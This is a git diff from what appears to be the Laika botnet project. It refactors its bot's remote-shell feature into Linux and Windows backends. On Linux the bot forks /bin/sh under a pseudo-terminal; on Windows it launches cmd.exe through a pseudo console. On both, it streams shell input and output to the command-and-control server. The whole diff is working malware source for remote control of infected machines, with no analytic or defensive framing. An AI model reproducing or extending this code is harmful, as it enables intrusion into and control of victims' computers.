diff --git a/.vscode/settings.json b/.vscode/settings.json index 72bc948..9fd6aaa 100644 --- a/.vscode/settings.json +++ b/.vscode/settings.json @@ -27,7 +27,8 @@ "*.in": "cpp", "lerror.h": "c", "stdbool.h": "c", - "alloca.h": "c" + "alloca.h": "c", + "bot.h": "c" }, "cSpell.words": [ "cnc's", diff --git a/CMakeLists.txt b/CMakeLists.txt index 2578978..44c2a44 100644 --- a/CMakeLists.txt +++ b/CMakeLists.txt @@ -42,8 +42,8 @@ add_subdirectory(lib) add_subdirectory(tools) # these subprojects don't support windows (sorry) +add_subdirectory(bot) # windows support Soon:tm: if(NOT WIN32 AND (UNIX AND NOT APPLE)) - add_subdirectory(bot) # windows support Soon:tm: add_subdirectory(cnc) add_subdirectory(shell) endif () diff --git a/bot/CMakeLists.txt b/bot/CMakeLists.txt index dbfe792..8cbd36f 100644 --- a/bot/CMakeLists.txt +++ b/bot/CMakeLists.txt @@ -10,8 +10,19 @@ set_property(GLOBAL PROPERTY USE_FOLDERS ON) # compile LaikaBot file(GLOB_RECURSE BOTSOURCE ${CMAKE_CURRENT_SOURCE_DIR}/src/**.c) file(GLOB_RECURSE BOTHEADERS ${CMAKE_CURRENT_SOURCE_DIR}/include/**.h) -add_executable(LaikaBot ${BOTSOURCE} ${BOTHEADERS}) -target_link_libraries(LaikaBot PUBLIC LaikaLib util) + +# include platform specific backends +set(BOTPLATFORMSOURCE) +set(BOTPLATFORMLIBS) +if(WIN32) + file(GLOB_RECURSE BOTPLATFORMSOURCE ${CMAKE_CURRENT_SOURCE_DIR}/win/**.c) +elseif(UNIX AND NOT APPLE) + file(GLOB_RECURSE BOTPLATFORMSOURCE ${CMAKE_CURRENT_SOURCE_DIR}/lin/**.c) + set(BOTPLATFORMLIBS util) +endif () + +add_executable(LaikaBot ${BOTSOURCE} ${BOTHEADERS} ${BOTPLATFORMSOURCE}) +target_link_libraries(LaikaBot PUBLIC LaikaLib ${BOTPLATFORMLIBS}) # add the 'DEBUG' preprocessor definition if we're compiling as Debug target_compile_definitions(LaikaBot PUBLIC "$<$:DEBUG>") diff --git a/bot/include/shell.h b/bot/include/shell.h index 24feeba..e137dd9 100644 --- a/bot/include/shell.h +++ b/bot/include/shell.h @@ -4,10 +4,7 @@ #include struct sLaika_bot; -struct sLaika_shell { - int pid; - int fd; -}; +struct sLaika_shell; struct sLaika_shell *laikaB_newShell(struct sLaika_bot *bot, int cols, int rows); void laikaB_freeShell(struct sLaika_bot *bot, struct sLaika_shell *shell); diff --git a/bot/lin/linshell.c b/bot/lin/linshell.c new file mode 100644 index 0000000..a9822e1 --- /dev/null +++ b/bot/lin/linshell.c @@ -0,0 +1,110 @@ +/* platform specific code for opening shells in linux */ + +#include +#include +#include +#include +#include +#include + +#include "lerror.h" +#include "lmem.h" +#include "bot.h" +#include "shell.h" + +struct sLaika_shell { + int pid; + int fd; +}; + +struct sLaika_shell *laikaB_newShell(struct sLaika_bot *bot, int cols, int rows) { + struct winsize ws; + struct sLaika_shell *shell = (struct sLaika_shell*)laikaM_malloc(sizeof(struct sLaika_shell)); + + ws.ws_col = cols; + ws.ws_row = rows; + shell->pid = forkpty(&shell->fd, NULL, NULL, &ws); + + if (shell->pid == 0) { + /* child process, clone & run shell */ + execlp("/bin/sh", "sh", (char*) NULL); + exit(0); + } + + /* make sure our calls to read() & write() do not block */ + if (fcntl(shell->fd, F_SETFL, (fcntl(shell->fd, F_GETFL, 0) | O_NONBLOCK)) != 0) { + laikaB_freeShell(bot, shell); + LAIKA_ERROR("Failed to set shell fd O_NONBLOCK"); + } + + return shell; +} + +void laikaB_freeShell(struct sLaika_bot *bot, struct sLaika_shell *shell) { + /* kill the shell */ + kill(shell->pid, SIGTERM); + close(shell->fd); + + bot->shell = NULL; + laikaM_free(shell); +} + +bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *shell) { + char readBuf[LAIKA_SHELL_DATA_MAX_LENGTH]; + struct sLaika_peer *peer = bot->peer; + struct sLaika_socket *sock = &peer->sock; + + int rd = read(shell->fd, readBuf, LAIKA_SHELL_DATA_MAX_LENGTH); + + if (rd > 0) { + /* we read some input! send to cnc */ + laikaS_startVarPacket(peer, LAIKAPKT_SHELL_DATA); + laikaS_write(sock, readBuf, rd); + laikaS_endVarPacket(peer); + } else if (rd == -1) { + if (LN_ERRNO == LN_EWOULD || LN_ERRNO == EAGAIN) + return true; /* recoverable, there was no data to read */ + /* not EWOULD or EAGAIN, must be an error! so close the shell */ + + /* tell cnc shell is closed */ + laikaS_emptyOutPacket(peer, LAIKAPKT_SHELL_CLOSE); + + /* kill shell */ + laikaB_freeShell(bot, shell); + return false; + } + + return true; +} + +bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *shell, char *buf, size_t length) { + struct sLaika_peer *peer = bot->peer; + struct sLaika_socket *sock = &peer->sock; + size_t nLeft; + int nWritten; + + nLeft = length; + while (nLeft > 0) { + if ((nWritten = write(shell->fd, buf, nLeft)) < 0) { + /* some error occurred */ + if (length == nLeft) { + /* unrecoverable error */ + + /* tell cnc shell is closed */ + laikaS_emptyOutPacket(peer, LAIKAPKT_SHELL_CLOSE); + + /* kill shell */ + laikaB_freeShell(bot, shell); + return false; + } else { /* recoverable */ + break; + } + } else if (nWritten == 0) { + break; + } + nLeft -= nWritten; + buf += nWritten; + } + + return true; +} \ No newline at end of file diff --git a/bot/src/shell.c b/bot/src/shell.c index d6b8607..efa38be 100644 --- a/bot/src/shell.c +++ b/bot/src/shell.c @@ -1,108 +1,12 @@ -#include -#include #include #include #include -#include #include "lerror.h" #include "lmem.h" #include "bot.h" #include "shell.h" -struct sLaika_shell *laikaB_newShell(struct sLaika_bot *bot, int cols, int rows) { - struct winsize ws; - struct sLaika_shell *shell = (struct sLaika_shell*)laikaM_malloc(sizeof(struct sLaika_shell)); - - ws.ws_col = cols; - ws.ws_row = rows; - shell->pid = forkpty(&shell->fd, NULL, NULL, &ws); - - if (shell->pid == 0) { - /* child process, clone & run shell */ - execlp("/bin/sh", "sh", (char*) NULL); - exit(0); - } - - /* make sure our calls to read() & write() do not block */ - if (fcntl(shell->fd, F_SETFL, (fcntl(shell->fd, F_GETFL, 0) | O_NONBLOCK)) != 0) { - laikaB_freeShell(bot, shell); - LAIKA_ERROR("Failed to set shell fd O_NONBLOCK"); - } - - bot->shell = shell; - return shell; -} - -void laikaB_freeShell(struct sLaika_bot *bot, struct sLaika_shell *shell) { - /* kill the shell */ - kill(shell->pid, SIGTERM); - close(shell->fd); - - bot->shell = NULL; - laikaM_free(shell); -} - -bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *shell) { - char readBuf[LAIKA_SHELL_DATA_MAX_LENGTH]; - struct sLaika_peer *peer = bot->peer; - struct sLaika_socket *sock = &peer->sock; - - int rd = read(shell->fd, readBuf, LAIKA_SHELL_DATA_MAX_LENGTH); - - if (rd > 0) { - /* we read some input! send to cnc */ - laikaS_startVarPacket(peer, LAIKAPKT_SHELL_DATA); - laikaS_write(sock, readBuf, rd); - laikaS_endVarPacket(peer); - } else if (rd == -1) { - if (LN_ERRNO == LN_EWOULD || LN_ERRNO == EAGAIN) - return true; /* recoverable, there was no data to read */ - /* not EWOULD or EAGAIN, must be an error! so close the shell */ - - /* tell cnc shell is closed */ - laikaS_emptyOutPacket(peer, LAIKAPKT_SHELL_CLOSE); - - /* kill shell */ - laikaB_freeShell(bot, shell); - return false; - } - - return true; -} - -bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *shell, char *buf, size_t length) { - struct sLaika_peer *peer = bot->peer; - struct sLaika_socket *sock = &peer->sock; - size_t nLeft; - int nWritten; - - nLeft = length; - while (nLeft > 0) { - if ((nWritten = write(shell->fd, buf, nLeft)) < 0) { - /* some error occurred */ - if (length == nLeft) { - /* unrecoverable error */ - - /* tell cnc shell is closed */ - laikaS_emptyOutPacket(peer, LAIKAPKT_SHELL_CLOSE); - - /* kill shell */ - laikaB_freeShell(bot, shell); - return false; - } else { /* recoverable */ - break; - } - } else if (nWritten == 0) { - break; - } - nLeft -= nWritten; - buf += nWritten; - } - - return true; -} - /* ============================================[[ Packet Handlers ]]============================================= */ void laikaB_handleShellOpen(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) { @@ -117,7 +21,7 @@ void laikaB_handleShellOpen(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uD laikaS_readInt(&peer->sock, &rows, sizeof(uint16_t)); /* open shell */ - laikaB_newShell(bot, cols, rows); + bot->shell = laikaB_newShell(bot, cols, rows); } void laikaB_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) { diff --git a/bot/win/winshell.c b/bot/win/winshell.c new file mode 100644 index 0000000..353d774 --- /dev/null +++ b/bot/win/winshell.c @@ -0,0 +1,210 @@ +/* platform specific code for opening shells (pseudo consoles) on windows */ +#include "lerror.h" +#include "lmem.h" +#include "bot.h" +#include "shell.h" + +#include +#include + +/* shells are significantly more complex on windows than linux for laika */ +struct sLaika_shell { + HANDLE in, out; + PROCESS_INFORMATION procInfo; + STARTUPINFOEX startupInfo; + HPCON pseudoCon; + /* HANDLE watcherMutex; + char *outBuf; + int outCount, outCap; + char *inBuf; + int inCount, inCap; */ +}; + +/* edited from https://github.com/microsoft/terminal/blob/main/samples/ConPTY/EchoCon/EchoCon/EchoCon.cpp */ +HRESULT CreatePseudoConsoleAndPipes(HPCON *phPC, HANDLE *phPipeIn, HANDLE *phPipeOut, int cols, int rows) { + COORD consoleSize = (COORD){.X = cols, .Y = rows}; + HANDLE hPipePTYIn = INVALID_HANDLE_VALUE; + HANDLE hPipePTYOut = INVALID_HANDLE_VALUE; + HRESULT hr; + DWORD mode = PIPE_NOWAIT; + + /* create the pipes to which the ConPTY will connect */ + if (!CreatePipe(&hPipePTYIn, phPipeOut, NULL, 0) || !CreatePipe(phPipeIn, &hPipePTYOut, NULL, 0)) + return HRESULT_FROM_WIN32(GetLastError()); + + /* anon pipes can be set to non-blocking for backwards compatibility. this makes our life much easier so it fits in nicely with + the rest of the laika codebase (https://docs.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-setnamedpipehandlestate) */ + if (!SetNamedPipeHandleState(*phPipeIn, &mode, NULL, NULL)) + return HRESULT_FROM_WIN32(GetLastError()); + + /* create the pseudo console of the required size, attached to the PTY - end of the pipes */ + hr = CreatePseudoConsole(consoleSize, hPipePTYIn, hPipePTYOut, 0, phPC); + + /* we can close the handles to the PTY-end of the pipes here + because the handles are dup'ed into the ConHost and will be released + when the ConPTY is destroyed. */ + CloseHandle(hPipePTYOut); + CloseHandle(hPipePTYIn); + return hr; +} + +/* also edited from https://github.com/microsoft/terminal/blob/main/samples/ConPTY/EchoCon/EchoCon/EchoCon.cpp */ +HRESULT InitializeStartupInfoAttachedToPseudoConsole(STARTUPINFOEX *pStartupInfo, HPCON hPC) { + HRESULT hr = E_UNEXPECTED; + + if (pStartupInfo) { + size_t attrListSize = 0; + pStartupInfo->StartupInfo.cb = sizeof(STARTUPINFOEX); + + /* Get the size of the thread attribute list & allocate it */ + InitializeProcThreadAttributeList(NULL, 1, 0, &attrListSize); + pStartupInfo->lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)laikaM_malloc(attrListSize); + + /* Initialize thread attribute list */ + if (pStartupInfo->lpAttributeList + && InitializeProcThreadAttributeList(pStartupInfo->lpAttributeList, 1, 0, &attrListSize)){ + + /* Set Pseudo Console attribute */ + hr = UpdateProcThreadAttribute( + pStartupInfo->lpAttributeList, + 0, + PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE, + hPC, + sizeof(HPCON), + NULL, + NULL) + ? S_OK : HRESULT_FROM_WIN32(GetLastError()); + } else { + hr = HRESULT_FROM_WIN32(GetLastError()); + } + } + + return hr; +} + + +struct sLaika_shell *laikaB_newShell(struct sLaika_bot *bot, int cols, int rows) {; + HRESULT hr; + char cmd[] = "cmd.exe"; + struct sLaika_shell* shell = (struct sLaika_shell*)laikaM_malloc(sizeof(struct sLaika_shell)); + + ZeroMemory(shell, sizeof(struct sLaika_shell)); + + /* create pty */ + hr = CreatePseudoConsoleAndPipes(&shell->pseudoCon, &shell->in, &shell->out, cols, rows); + if (hr != S_OK) { + laikaM_free(shell); + return NULL; + } + + /* create process */ + hr = InitializeStartupInfoAttachedToPseudoConsole(&shell->startupInfo, shell->pseudoCon); + if (hr != S_OK) { + ClosePseudoConsole(shell->pseudoCon); + + laikaM_free(shell); + return NULL; + } + + /* launch cmd shell */ + hr = CreateProcessA( + NULL, /* No module name - use Command Line */ + cmd, /* Command Line */ + NULL, /* Process handle not inheritable */ + NULL, /* Thread handle not inheritable */ + FALSE, /* Inherit handles */ + EXTENDED_STARTUPINFO_PRESENT, /* Creation flags */ + NULL, /* Use parent's environment block */ + NULL, /* Use parent's starting directory */ + &shell->startupInfo.StartupInfo,/* Pointer to STARTUPINFO */ + &shell->procInfo) /* Pointer to PROCESS_INFORMATION */ + ? S_OK : HRESULT_FROM_WIN32(GetLastError()); + + if (hr != S_OK) { + DeleteProcThreadAttributeList(shell->startupInfo.lpAttributeList); + laikaM_free(shell->startupInfo.lpAttributeList); + + ClosePseudoConsole(shell->pseudoCon); + + laikaM_free(shell); + return NULL; + } + + return shell; +} + +void laikaB_freeShell(struct sLaika_bot *bot, struct sLaika_shell *shell) { + /* kill process (it's ok if it fails) */ + TerminateProcess(shell->procInfo.hProcess, 0); + + /* cleanup process - info & thread */ + CloseHandle(shell->procInfo.hThread); + CloseHandle(shell->procInfo.hProcess); + + /* Cleanup attribute list */ + DeleteProcThreadAttributeList(shell->startupInfo.lpAttributeList); + laikaM_free(shell->startupInfo.lpAttributeList); + + /* close pseudo console */ + ClosePseudoConsole(shell->pseudoCon); + + /* free shell struct */ + laikaM_free(shell); + bot->shell = NULL; +} + +bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *shell) { + char readBuf[LAIKA_SHELL_DATA_MAX_LENGTH]; + struct sLaika_peer* peer = bot->peer; + struct sLaika_socket* sock = &peer->sock; + DWORD rd; + bool readSucc = ReadFile(shell->in, readBuf, LAIKA_SHELL_DATA_MAX_LENGTH, &rd, NULL); + + if (readSucc) { + /* we read some input! send to cnc */ + laikaS_startVarPacket(peer, LAIKAPKT_SHELL_DATA); + laikaS_write(sock, readBuf, rd); + laikaS_endVarPacket(peer); + } else { + if (GetLastError() == ERROR_NO_DATA) + return true; /* recoverable, there was no data to read */ + + /* tell cnc shell is closed */ + laikaS_emptyOutPacket(peer, LAIKAPKT_SHELL_CLOSE); + + /* kill shell */ + laikaB_freeShell(bot, shell); + return false; + } + + return true; +} + +bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *shell, char *buf, size_t length) { + struct sLaika_peer* peer = bot->peer; + struct sLaika_socket* sock = &peer->sock; + size_t nLeft; + DWORD nWritten; + + nLeft = length; + while (nLeft > 0) { + if (!WriteFile(shell->out, (void*)buf, length, &nWritten, NULL)) { + /* unrecoverable error */ + + /* tell cnc shell is closed */ + laikaS_emptyOutPacket(peer, LAIKAPKT_SHELL_CLOSE); + + /* kill shell */ + laikaB_freeShell(bot, shell); + return false; + } + + if (nWritten == 0) + break; + + nLeft -= nWritten; + buf += nWritten; + } + + return true; +} \ No newline at end of file diff --git a/lib/include/lpacket.h b/lib/include/lpacket.h index f594cc9..5afd5c0 100644 --- a/lib/include/lpacket.h +++ b/lib/include/lpacket.h @@ -9,8 +9,8 @@ #define LAIKA_MAX_PKTSIZE 4096 #define LAIKA_HOSTNAME_LEN 64 -#define LAIKA_IPV4_LEN INET_ADDRSTRLEN -#define LAIKA_INET_LEN INET_ADDRSTRLEN +#define LAIKA_IPV4_LEN 16 +#define LAIKA_INET_LEN 16 #define LAIKA_SHELL_DATA_MAX_LENGTH 256